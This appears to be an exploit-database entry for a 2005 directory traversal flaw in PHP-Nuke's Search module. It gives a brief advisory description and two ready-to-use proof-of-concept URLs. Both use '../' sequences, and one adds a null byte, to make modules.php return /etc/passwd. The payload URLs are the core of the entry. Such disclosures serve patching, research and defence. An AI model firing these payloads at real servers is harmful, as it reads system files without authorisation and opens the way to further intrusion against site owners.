PHP-Nuke Search Module - 'modules.php' Directory Traversal

Author: sp3x@securityreason.com
type: webapps
platform: php
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date_added: 2005-10-19 
date_updated: 2013-06-23 
verified: 1 
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source: https://www.securityfocus.com/bid/15137/info

PHPNuke Search Module is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

A remote attacker may view files that are only intended to be accessible to authenticated and authorized users. Information obtained may be used in further attacks.

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passwd%00

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../.
./../../etc/passwd